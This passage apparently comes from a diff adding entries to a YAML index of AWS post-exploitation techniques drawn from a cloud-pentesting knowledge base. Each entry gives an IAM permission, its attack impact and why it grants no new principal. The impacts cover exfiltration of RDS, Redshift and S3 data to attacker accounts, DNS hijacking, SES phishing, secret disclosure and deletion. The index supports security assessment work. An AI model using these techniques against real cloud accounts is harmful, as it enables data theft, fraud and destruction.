'`rds:DownloadDBLogFilePortion`' + reason: 'Documented impact: Access to sensitive information or unauthorized actions using leaked credentials. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatebluegreendeployment-rdsmodifydbinstance + technique: '`rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A full clone of the production topology the attacker can reconfigure freely (public + access, new master password), and — if switchover is available — the ability to make that reconfigured clone + become production. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbsnapshot-rdsrestoredbinstancefromdbsnapshot-rdsmodifydbinstance + technique: '`rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A fully attacker-controlled, internet-reachable copy of the production database with + a password the attacker sets — total read/write access to every row, without ever authenticating to the original + instance. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsrestore + technique: '`rds:Restore*`' + reason: 'Documented impact: A second copy of the data under an identifier the attacker chooses, optionally public + — reads the entire database while leaving production untouched and unalarmed. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstartexporttask-iampassrole--export-a-snapshots-full-contents-to-attacker-s3 + technique: '`rds:StartExportTask`, `iam:PassRole` — export a snapshot''s full contents to attacker S3' + reason: 'Documented impact: Full exfiltration of a database''s contents (every table, including historical data + in old snapshots) into an attacker-controlled S3 bucket, with no second account, no live restore, and no network + path to the DB. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodifydbsnapshotattribute-rdscreatedbsnapshot + technique: '`rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`' + reason: 'Documented impact: Hand a complete copy of the database to an arbitrary AWS account — or to every AWS + account — which then restores and reads it entirely outside your account. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodifydbclustersnapshotattribute-rdscreatedbclustersnapshot + technique: '`rds:ModifyDBClusterSnapshotAttribute`, `rds:CreateDBClusterSnapshot`' + reason: 'Documented impact: Exfiltrate an entire Aurora/RDS cluster — every database in it — to an attacker-controlled + or public AWS account that restores it outside your account. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstartexporttask-iampassrole-kms-key-use-permissions + technique: '`rds:StartExportTask`, `iam:PassRole`, KMS key-use permissions' + reason: 'Documented impact: Access to sensitive data in the exported snapshot. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#cross-region-automated-backups-replication-for-stealthy-restore-rdsstartdbinstanceautomatedbackupsreplication + technique: Cross-Region Automated Backups Replication for Stealthy Restore (`rds:StartDBInstanceAutomatedBackupsReplication`) + reason: 'Documented impact: A continuously-updated copy of the database''s backups in a region the defender may + not monitor, restorable at will — durable data access that survives remediation in the primary region. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdscreatedbinstancereadreplica-rdsmodifydbinstance + technique: '`rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`' + reason: 'Documented impact: A live, continuously-synced replica of production under an identifier the attacker + controls, optionally public — full read access to current data, and after promotion a writable copy. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#stealthy-continuous-exfiltration-via-aurora-zeroetl-to-amazon-redshift-rdscreateintegration + technique: Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) + reason: 'Documented impact: A continuously-replicating, near-real-time feed of the Aurora database into a Redshift + warehouse — potentially in another account — that keeps delivering data indefinitely after the initial access + is closed. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsstopdbcluster--rdsstopdbinstance + technique: '`rds:StopDBCluster` & `rds:StopDBInstance`' + reason: 'Documented impact: Denial of service — the application loses its database. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdelete + technique: '`rds:Delete*`' + reason: 'Documented impact: Irreversible destruction of databases, clusters, snapshots and automated backups — + full data loss and, when snapshots are deleted first, elimination of the recovery path. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsdeletedbinstance + technique: '`rds:DeleteDBInstance`' + reason: 'Documented impact: Deletion of existing RDS instances, and potential loss of data. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md#rdsmodify + technique: '`rds:Modify*`' + reason: 'Documented impact: Depending on the sub-action: reset the master password to gain DB access, expose the + instance publicly, disable backups/encryption-in-transit, or point the instance at an attacker-controlled parameter + or option group. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshift-dataexecutestatement---run-sql-without-a-database-network-route + technique: '`redshift-data:ExecuteStatement` - run SQL without a database network route' + reason: 'Documented impact: Remote execution of every SQL operation granted to the database identity, including + reading sensitive tables, modifying data, creating database users, or invoking AWS integrations available to + that user, without direct access... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshiftauthorizesnapshotaccess---share-a-provisioned-snapshot-cross-account + technique: '`redshift:AuthorizeSnapshotAccess` - share a provisioned snapshot cross-account' + reason: 'Documented impact: Durable cross-account exfiltration of the complete database image. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshiftauthorizedatashare---expose-a-live-datashare-to-another-account + technique: '`redshift:AuthorizeDataShare` - expose a live datashare to another account' + reason: 'Documented impact: Live cross-account read access to shared production objects, and potentially writes + when both the authorization and datashare objects allow them. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-redshift-post-exploitation/README.md#redshift-serverlessputresourcepolicy---share-a-serverless-snapshot-cross-account + technique: '`redshift-serverless:PutResourcePolicy` - share a Serverless snapshot cross-account' + reason: 'Documented impact: Cross-account restoration and durable exfiltration of a Serverless namespace snapshot. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-refactor-spaces-post-exploitation/README.md#refactor-spacescreateservice--refactor-spacescreateroute---intercept-selected-application-requests + technique: '`refactor-spaces:CreateService` + `refactor-spaces:CreateRoute` - Intercept selected application requests' + reason: The section documents the resource or service effect of `refactor-spaces:CreateService` + `refactor-spaces:CreateRoute` + - Intercept selected application req, without a reusable AWS principal credential or arbitrary execution under + another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-refactor-spaces-post-exploitation/README.md#refactor-spacesupdateroute---disable-a-specific-route-and-force-default-route-fallback + technique: '`refactor-spaces:UpdateRoute` - Disable a specific route and force default-route fallback' + reason: This heading concerns removal, disruption or access denial via `refactor-spaces:UpdateRoute` - Disable + a specific route and force default-route fallback; it does not grant the caller a different principal. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-explorer-inventory-post-exploitation/README.md#resource-explorer-2getview--search--cross-service-metadata-oracle + technique: '`resource-explorer-2:GetView` + `Search` — cross-service metadata oracle' + reason: 'Documented impact: Cross-service reconnaissance of resource names, ARNs, account/Region placement, types, + timestamps, and optional properties without target-service enumeration permissions. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-tag-inventory-post-exploitation/README.md#taggetresources--cross-service-arn-and-tag-value-disclosure + technique: '`tag:GetResources` — cross-service ARN and tag-value disclosure' + reason: 'Documented impact: Discover cross-service resource ARNs, naming conventions, organization/environment + metadata, and every exposed tag value without native service enumeration permissions. This section does not + establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-resource-tag-inventory-post-exploitation/README.md#tagstartreportcreation--export-organization-wide-tag-inventory-to-a-chosen-s3-bucket + technique: '`tag:StartReportCreation` — export organization-wide tag inventory to a chosen S3 bucket' + reason: 'Documented impact: Cross-account exfiltration of an organization-wide inventory of tagged resource ARNs, + tag values, account structure clues, and tag-policy compliance to an attacker-readable S3 bucket. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-arc-routing-control-post-exploitation/README.md#route53-recovery-clusterupdateroutingcontrolstates--reroute-traffic-and-override-safety-rules + technique: '`route53-recovery-cluster:UpdateRoutingControlState(s)` — reroute traffic and override safety rules' + reason: 'Documented impact: Drain an active application cell, direct users to a standby or compromised cell, force + a failover during an unsafe period, or override a last-cell-on assertion and make all protected cells ineligible. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53changeresourcerecordsets--existing-zone-dns-takeover + technique: '`route53:ChangeResourceRecordSets` — Existing-zone DNS takeover' + reason: 'Documented impact: Redirect or disable web, API, email, service-discovery, and validation traffic for + names in the affected zone. This section does not establish another AWS principal or attacker-controlled role + execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-dns-takeover-post-exploitation/README.md#route53createvpcassociationauthorization--expose-a-private-hosted-zone-to-an-attacker-vpc + technique: '`route53:CreateVPCAssociationAuthorization` — expose a private hosted zone to an attacker VPC' + reason: 'Documented impact: Cross-account exposure of a private hosted zone — the attacker''s VPC gains the victim''s + internal DNS resolution, revealing internal endpoints and enabling name-based redirection/MITM from attacker-controlled + infrastructure. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-global-resolver-post-exploitation/README.md#route53globalresolvergetaccesstoken--recover-a-dohdot-client-token + technique: '`route53globalresolver:GetAccessToken` — recover a DoH/DoT client token' + reason: 'Documented impact: High-impact credential disclosure. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#associateresourcetoprofile--updateprofileresourceassociation--propagate-malicious-dns-configuration + technique: '`AssociateResourceToProfile` / `UpdateProfileResourceAssociation` — propagate malicious DNS configuration' + reason: 'Documented impact: DNS-based traffic redirection or denial, bulk query-name disclosure, bypass or weakening + of DNS filtering, and propagation of a malicious endpoint/configuration to every attached VPC. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#associateprofile--apply-an-attacker-controlled-shared-profile-to-a-victim-vpc + technique: '`AssociateProfile` — apply an attacker-controlled shared Profile to a victim VPC' + reason: 'Documented impact: cross-account propagation of private DNS answers, forwarding rules, filtering, query + logging and endpoint private DNS into the victim VPC. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-profiles-post-exploitation/README.md#disassociateprofile--disassociateresourcefromprofile--remove-centralized-dns-controls + technique: '`DisassociateProfile` / `DisassociateResourceFromProfile` — remove centralized DNS controls' + reason: 'Documented impact: defense evasion and DNS outage across one VPC or every VPC consuming the Profile. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-resolver-post-exploitation/README.md#route53resolverupdateresolverrule--repoint-an-existing-forwarding-rule-at-attacker-dns + technique: '`route53resolver:UpdateResolverRule` — repoint an existing forwarding rule at attacker DNS' + reason: 'Documented impact: Hijack DNS resolution for the rule''s domain across every associated VPC — resolve + internal names to attacker IPs and man-in-the-middle the workloads'' traffic, without changing any application + configuration. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-route53-resolver-post-exploitation/README.md#route53resolvercreateresolverrule--associateresolverrule--add-a-new-forwarding-hijack + technique: '`route53resolver:CreateResolverRule` + `AssociateResolverRule` — add a new forwarding hijack' + reason: 'Documented impact: Establish DNS forwarding for a chosen domain in a target VPC and resolve it through + attacker DNS — a from-scratch DNS-hijack foothold, potentially cross-account when the rule is shared through + RAM. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabricupdaterespondergateway--replace-a-managed-responder-backend + technique: '`rtbfabric:UpdateResponderGateway` — replace a managed responder backend' + reason: 'Documented impact: Redirect future OpenRTB requests to attacker-controlled or compromised compute, exposing + bid-request data and allowing manipulated bids/no-bids, response tampering or an application outage. This section + does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabriccreateoutboundexternallink--stage-a-public-exfiltration-destination + technique: '`rtbfabric:CreateOutboundExternalLink` — stage a public exfiltration destination' + reason: 'Documented impact: If the requester is subsequently configured to use the link, receive OpenRTB request + payloads at a public endpoint, manipulate responses, or create a selective outage. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rtb-fabric-post-exploitation/README.md#rtbfabricupdatelinkmoduleflow--suppress-filter-or-alter-bid-traffic + technique: '`rtbfabric:UpdateLinkModuleFlow` — suppress, filter or alter bid traffic' + reason: 'Documented impact: Drop all or selected bid traffic, throttle transaction volume, selectively exclude + valuable requests, or inject a header that changes downstream routing, policy or analytics. This section does + not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-files-post-exploitation/README.md#s3filesupdatemounttarget--createmounttarget--network-exposure-of-the-data-plane + technique: '`s3files:UpdateMountTarget` / `CreateMountTarget` — network exposure of the data plane' + reason: 'Documented impact: Lateral movement / data access by exposing the file system''s NFS endpoint to an attacker-reachable + network segment. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#global-bucket-name-takeover-of-autonomous-writers---s3deletebucket + technique: Global bucket name takeover of autonomous writers - `s3:DeleteBucket` + reason: 'Documented impact: silent exfiltration of future replicated objects, logs, telemetry, backups, and pipeline + artifacts to an attacker-controlled AWS account. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putreplicationconfiguration--continuous-exfiltration-via-bucket-replication + technique: '`s3:PutReplicationConfiguration` — continuous exfiltration via bucket replication' + reason: 'Documented impact: Silent, continuous, server-side exfiltration of every object written to the bucket + into an attacker-controlled account, surviving credential rotation and requiring no further attacker activity. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3restoreobject + technique: '`s3:RestoreObject`' + reason: 'Documented impact: Recovery and theft of archived data (backups, old snapshots, historical logs) that + is otherwise offline, including secrets long removed from current objects. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putobject-on-an-ssm-aws-runremotescript-payload + technique: '`s3:PutObject` on an SSM `AWS-RunRemoteScript` payload' + reason: 'Documented impact: Local root/SYSTEM command execution on targeted managed nodes and access to the AWS + permissions exposed through each node''s credential chain. This section does not establish another AWS principal + or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketnotification--wire-future-objects-into-a-pre-authorized-lambda + technique: '`s3:PutBucketNotification` — wire future objects into a pre-authorized Lambda' + reason: The bucket notification only routes later objects to an already authorized Lambda. Code execution further + requires a producer to upload an executable payload and a Lambda that treats it as code; PutBucketNotification + alone gives no role execution. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3putbucketwebsite--hijack-a-static-sites-traffic-via-redirect-config + technique: '`s3:PutBucketWebsite` — hijack a static site''s traffic via redirect config' + reason: 'Documented impact: redirect a static site''s visitors (or a specific callback path) to an attacker host + for phishing, defacement, or theft of any secret carried in the request URL/query string, without modifying + a single object. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md#s3delete + technique: '`s3:Delete*`' + reason: 'Documented impact: Destruction of the bucket''s objects and, with versioning suspended or version deletion + permitted, permanent loss of the data. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribeappimageconfig-and-sagemakerlistappimageconfigs--read-plaintext-container-variables + technique: '`sagemaker:DescribeAppImageConfig` and `sagemaker:ListAppImageConfigs` — read plaintext container + variables' + reason: 'Documented impact: Disclosure of tokens, credentials, internal endpoints, or proprietary application + settings placed directly in custom-image environment variables. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribemodel--inference-environment-secret-disclosure + technique: '`sagemaker:DescribeModel` — inference-environment secret disclosure' + reason: This heading concerns reading or exporting data via `sagemaker:DescribeModel` — inference-environment + secret disclosure; it does not itself authorize a different AWS principal or execute code as its role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-configuration-access-post-exploitation/README.md#sagemakerdescribetrainingjob--read-training-configuration-and-environment-values + technique: '`sagemaker:DescribeTrainingJob` — Read training configuration and environment values' + reason: 'Documented impact: Disclosure of ML deployment configuration, plaintext job variables, proprietary hyperparameters, + and sensitive dataset/model locations. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemaker-endpoint-data-siphon-via-updateendpoint-datacaptureconfig + technique: SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig + reason: The section documents the resource or service effect of SageMaker endpoint data siphon via UpdateEndpoint + DataCaptureConfig, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md#sagemaker-async-inference-output-hijack-via-updateendpoint-asyncinferenceconfig + technique: SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + reason: The section documents the resource or service effect of SageMaker async inference output hijack via UpdateEndpoint + AsyncInferenceConfig, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerrestoresecret + technique: secretsmanager:RestoreSecret + reason: 'Documented impact: Restores access to a secret that was scheduled for deletion, including its stored + versions; this can re-enable dependent applications. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerupdatesecretversionstage + technique: secretsmanager:UpdateSecretVersionStage + reason: 'Documented impact: Consumers that request the default version receive the newly labeled value, which + can cause authentication failures if it is invalid. This section does not establish another AWS principal or + attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md#secretsmanagerdeleteresourcepolicy + technique: secretsmanager:DeleteResourcePolicy + reason: 'Documented impact: Principals relying on the removed resource policy can lose access to the secret. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentstartpentestjob--run-intrusive-tests-against-configured-targets + technique: '`securityagent:StartPentestJob` — run intrusive tests against configured targets' + reason: 'Documented impact: Generate intrusive traffic against an organization''s verified application, exercise + authenticated functions, consume application/security-team capacity, or trigger defects with real payloads. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentlistactormessages--recover-email-mfa-codes-and-verification-links + technique: '`securityagent:ListActorMessages` — recover email MFA codes and verification links' + reason: 'Documented impact: Obtain a live email OTP or verification link and complete the corresponding application''s + second-factor or account-verification step when the attacker also controls the required primary credential/session. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentgetartifact--batchgetfindings--recover-assessment-context-and-exploit-material + technique: '`securityagent:GetArtifact` / `BatchGetFindings` — recover assessment context and exploit material' + reason: 'Documented impact: Recover application architecture/configuration, vulnerable file/line locations, confirmed + exploit logic, reproducible attack scripts, authentication/test environment values, endpoint inventory and repository/remediation + metadata. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentstartcoderemediation--trigger-trusted-remediation-pull-requests + technique: '`securityagent:StartCodeRemediation` — trigger trusted remediation pull requests' + reason: 'Documented impact: Cause trusted automated branches/pull requests, consume reviewer/CI capacity, and + place generated security changes into the repository review path. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-agent-post-exploitation/README.md#securityagentupdatefinding--batchdeletepentests--hide-or-destroy-assessment-evidence + technique: '`securityagent:UpdateFinding` / `BatchDeletePentests` — hide or destroy assessment evidence' + reason: 'Documented impact: Remove vulnerabilities from the active security queue, falsify severity/status, break + historical evidence and prevent defenders from using the normal assessment record to prioritize remediation. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-security-lake-post-exploitation/README.md#securitylakecreatesubscriber--updatesubscriber--external-cross-account-access + technique: '`securitylake:CreateSubscriber` / `UpdateSubscriber` — external cross-account access' + reason: 'Documented impact: Cross-account exfiltration of the selected centralized security telemetry and disclosure + of defender visibility. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#recover-application-metadata--servicecataloggetattributegroup + technique: Recover application metadata — `servicecatalog:GetAttributeGroup` + reason: 'Documented impact: recover application ownership, contacts, department, runtime, SLA, compliance/data-sensitivity + classification, internal endpoints, runbooks and other operational context stored as AppRegistry metadata. This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-service-catalog-appregistry-post-exploitation/README.md#poison-shared-application-metadata--servicecatalogupdateattributegroup + technique: Poison shared application metadata — `servicecatalog:UpdateAttributeGroup` + reason: 'Documented impact: misroute responders, falsify ownership/compliance/data-sensitivity context, or poison + CMDB, CI/CD, ServiceNow and governance workflows that trust AppRegistry metadata. This section does not establish + another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendemail + technique: '`ses:SendEmail`' + reason: 'Documented impact: Send email from a verified identity (bulk phishing/spam, BEC/impersonation). This + section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendrawemail + technique: '`ses:SendRawEmail`' + reason: 'Documented impact: Send a MIME email with attacker-controlled headers and attachments (spoofed headers, + malware payloads) from a verified identity. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendtemplatedemail + technique: '`ses:SendTemplatedEmail`' + reason: 'Documented impact: Send templated email at scale using an existing template — consistent, professional-looking + phishing. This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbulktemplatedemail + technique: '`ses:SendBulkTemplatedEmail`' + reason: 'Documented impact: Fan a template out to up to 50 destinations per call — mass phishing in a single request. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbulkemail + technique: '`ses:SendBulkEmail`' + reason: 'Documented impact: SES API v2 bulk send to many destinations in one call — high-volume distribution. + This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendbounce + technique: '`ses:SendBounce`' + reason: 'Documented impact: Forge a bounce message to the original sender of a message received through SES (within + 24h) — targeted spoofed non-delivery notices / social engineering. This section does not establish another AWS + principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sessendcustomverificationemail + technique: '`ses:SendCustomVerificationEmail`' + reason: 'Documented impact: Send a custom verification email and attempt to add the target address as an SES identity + — identity seeding and a phishing lure that appears to come from AWS/SES. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation/README.md#sesputidentitypolicy--sesv2putemailidentitypolicy--cross-account-sending-authorization-backdoor + technique: '`ses:PutIdentityPolicy` / `sesv2:PutEmailIdentityPolicy` — cross-account sending-authorization backdoor' + reason: 'Documented impact: Persistent cross-account ability to send email as the victim''s verified domain (passing + SPF/DKIM/DMARC) — high-fidelity phishing/BEC and brand impersonation that outlives the attacker''s original + access and burns the victim''s... This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-simpledb-post-exploitation/README.md#sdbstartdomainexport--export-a-complete-domain-to-s3 + technique: '`sdb:StartDomainExport` — export a complete domain to S3' + reason: The section documents the resource or service effect of `sdb:StartDomainExport` — export a complete domain + to S3, without a reusable AWS principal credential or arbitrary execution under another role. + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snow-device-management-post-exploitation/README.md#snow-device-managementcreatetask--remotely-unlock-or-reboot-managed-snowball-edge-devices + technique: '`snow-device-management:CreateTask` — remotely unlock or reboot managed Snowball Edge devices' + reason: 'Documented impact: Unlock removes the device''s at-rest operational lock and can enable a local-network/physical + attacker to reach already configured local services; any data or compute compromise still depends on the separate + local credentials,... This section does not establish another AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballgetjobmanifest--getjobunlockcode--recover-the-two-device-unlock-credentials + technique: '`snowball:GetJobManifest` + `GetJobUnlockCode` — recover the two device-unlock credentials' + reason: 'Documented impact: Unlock the matching physical appliance without obtaining its manifest/code from the + intended operator, then use the device''s normal local access workflow. This section does not establish another + AWS principal or attacker-controlled role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballupdatelongtermpricing--re-enable-a-prepaid-contract-renewal + technique: '`snowball:UpdateLongTermPricing` — re-enable a prepaid contract renewal' + reason: 'Documented impact: Commit the account to another prepaid Snowball period if defenders do not revert the + flag or retire the device before expiry. This section does not establish another AWS principal or attacker-controlled + role execution.' + source_revision: a66f094ede +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-snowball-post-exploitation/README.md#snowballcanceljob--cancel-a-newly-created-device-workflow 